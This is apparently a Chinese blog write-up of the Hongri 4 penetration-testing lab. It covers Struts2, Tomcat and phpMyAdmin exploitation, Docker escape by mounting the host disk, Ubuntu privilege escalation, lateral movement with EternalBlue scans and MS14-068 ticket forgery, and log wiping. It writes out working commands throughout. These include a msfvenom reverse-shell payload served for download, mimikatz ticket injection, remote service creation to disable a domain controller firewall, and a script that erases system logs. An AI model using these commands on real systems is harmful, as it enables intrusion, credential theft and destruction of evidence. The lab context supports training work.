红日4
概念图
直接开干
先进入ubuntu启动web
先开启3个环境
命令:
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
开始
一、信息收集
nmap扫描发现目标主机
nmap -sS -T4 192.168.1.0/24
发现目标:192.168.1.10 除了22端口 2001-2003全是web服务
二、web入侵
1、Struts2框架漏洞Getshell
先打开2001端口的web
是一个上传界面
我们先随便上传一个文件
上传之后发现后缀是.action的
推测是struts2框架
然后使用漏洞工具探测一波
发现存在漏洞 且可执行命令 用msf上线
先在kali上生成msf木马 然后开一个http服务 将马放在服务上 供目标远程下载 因为目标出网
命令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=6666 -f elf > shell.elf
python -m SimpleHTTPServer 80
然后目标远程下载 执行下载命令
命令:
然后msf开启监听
命令:
use exploit/multi/handler
set lhost 0.0.0.0
set lport 6666
set payload linux/x86/meterpreter/reverse_tcp
run
然后在目标上执行shell.elf 先给权限
然后执行
然后kali 收到会话
发现是172开头的
怀疑是docker 先判断一波
用命令 cat /proc/1/cgroup
判断docker方法:
1、使用下面命令,查看是否存在 dockerrnv 文件 ls -alh /.dockerenv
2、查看系统进程的cgroup信息 cat /proc/1/cgroup
确定是在docker中 所以进行docker逃逸
2、Tomcat任意文件上传(CVE-2017-12615)Getshell
打开2002端口 是一个tomcat页面 版本是8.5.19
尝试put方法拿shell
冰蝎连接
成功getshell
3、PhPMyadmin
CVE-2018-12613
Getshell访问2003端口 是一个phpmyadmin
尝试日志文件Getshell
尝试将general log改为yes,提醒我们没有权限,好吧,日志文件getshell这条路是行不通了
利用百度搜索发现,phpmyadmin4.8.1后台存在漏洞CVE-2018-12613,利用Poc验证本服务器是否存在
成功包含,存在此漏洞
漏洞利用
1.利用SQL查询查询 select ‘‘,将查询后的网页cookie
phpmyadmin:f29ab8338e5bebece0edf526c14416c4记录
2.包含Php-session文件getshell
三、Docker逃逸
利用fdisk -l 查看挂载盘
sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上
mkdir shell
mount /dev/sda1 shell
挂载成功,我们此时可以查看、修改宿主机的某些文件了。
写入ssh密钥进行docker逃逸
先在kali中生成密钥 创建一个key文件
然后将密钥复制
然后写入目标的.ssh目录下
命令:
cp -avx /shell/home/ubuntu/.ssh/id_rsa.pub /shell/home/ubuntu/.ssh/authorized_keys
echo ‘ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= root@kali’ > /hack/home/ubuntu/.ssh/authorized_keys
cat /hack/home/ubuntu/.ssh/authorized_keys
然后用kali连接ubuntu
- 这里要注意连接的时候需要根据生成key时候的名字 hack
ubuntu提权
先查看版本
根据志哥的wp 发现有一个新的exp可以提权 CVE-2021-3493
影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
编译并上传到服务器exp
gcc exploit -o exp
python3 -m http.server 80
chmod 777 exp
./exp 失败…推测环境不一致导致编译后无法在目标主机环境运行,上传exploit.c,尝试在服务器上编译使用
gcc exploit.c -o exp
./exp
然后重新弹一个root的shell回去
四、内网横向
发现路由
添加路由 命令:run autoroute -s 192.168.183.0/24
开启socks代理
use auxiliary/server/socks_proxy
set srvhost 192.168.1.11
set version 4a socks版本
run
信息收集 探测存存活主机
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.183.0/24
set timestampoutput 5 设置最大超时时间为5s
发现两个存活主机 以及域名demo
探测主机存活端口
use auxiliary/scanner/portscan/tcp
set ports 135,445,80,443,1433,3306,53,8080,8888,7001 # 将常用端口添加并扫描set rhosts 192.168.183.130-131 #探测两台服务器
130开了53 135 445
131开了135 445
因为都开 了135 445 用永恒之蓝扫一波
永恒之蓝
use auxiliary/scanner/smb/smb_ms17_010
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.130-131
run
看样子两台都可能有 先打131
- 这里图贴错了 不影响
拿下131
开始域内信息收集:
但执行域内信息收集的时候出现问题 一直报错
通过问志哥发现 说是当前用户不在域内 换一个用户收集
通过systeminfo发现当前是pc机 还有一个机器应该就是域控
先进行进程迁移到一个域用户
迁移成功
现在就能成功进行相关的域信息收集
找到域控机器
ip 192.168.183.130
DC机器名:WIN-ENS2VR5TR3N.demo.com
域管用户 administrator
域用户sid
- demo\douser S-1-5-21-979886063-1111900045-1414766810-1107
切换回高权限 然后用kiwi抓取密码
抓取到了域用户的明文密码和hash 但是没有抓到域管的
- douser:Dotest123ntml:bc23b0b4d5bf5ff42bc61fb62e13886e sha1:c48096437367aad00ac2dc70552051cd84912a55
使用smb连接了 但是无法执行命令
所以利用ms14-068域内漫游
切换到域用户然后上传exe
然后执行 利用ms14-068生成票据: ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
然后利用mimiaktz将凭据导入内存
这里需要先清除目标的凭据
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中
mimikatz # kerberos::ptc TGT_douser@demo.com.ccache
然后dir \WIN-ENS2VR5TR3N.demo.com\c$
凭据生效
漫游DC
先生成一个正向的shell 上传到pc win7上 然后copy到dc上
关闭dc防火墙
sc \WIN-ENS2VR5TR3N create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc \WIN-ENS2VR5TR3N start unablefirewall
然后将bind.exe传到dc
msf创建监听
创建服务执行msf马:
- sc \WIN-ENS2VR5TR3N.demo.com create shell binpath= “c:\bind.exe” 创建执行正向shell的进程sc \WIN-ENS2VR5TR3N.demo.com start shell 启动可以执行正向shell的服务
不知道是我的操作问题 还是环境问题 我一直出毛病
最后始终连不上
后面的操作 也没多难 执行拿下dc 抓hash 抓密码等 就不继续操作了
五、痕迹清理
Linux
清除命令历史记录
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令
:set history=0
:!command
linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:
cat /dev/null > filename
: > filename
> filename
echo “” > filename
echo > filename
针对性删除日志文件:
删除当天日志
sed -i ‘/当天日期/‘d filename
一键清除脚本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
Windows
1.查看事件日志run event_manager -i
2.删除事件日志run event_manager -c
3.clearv命令清除目标系统的事件日志。
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!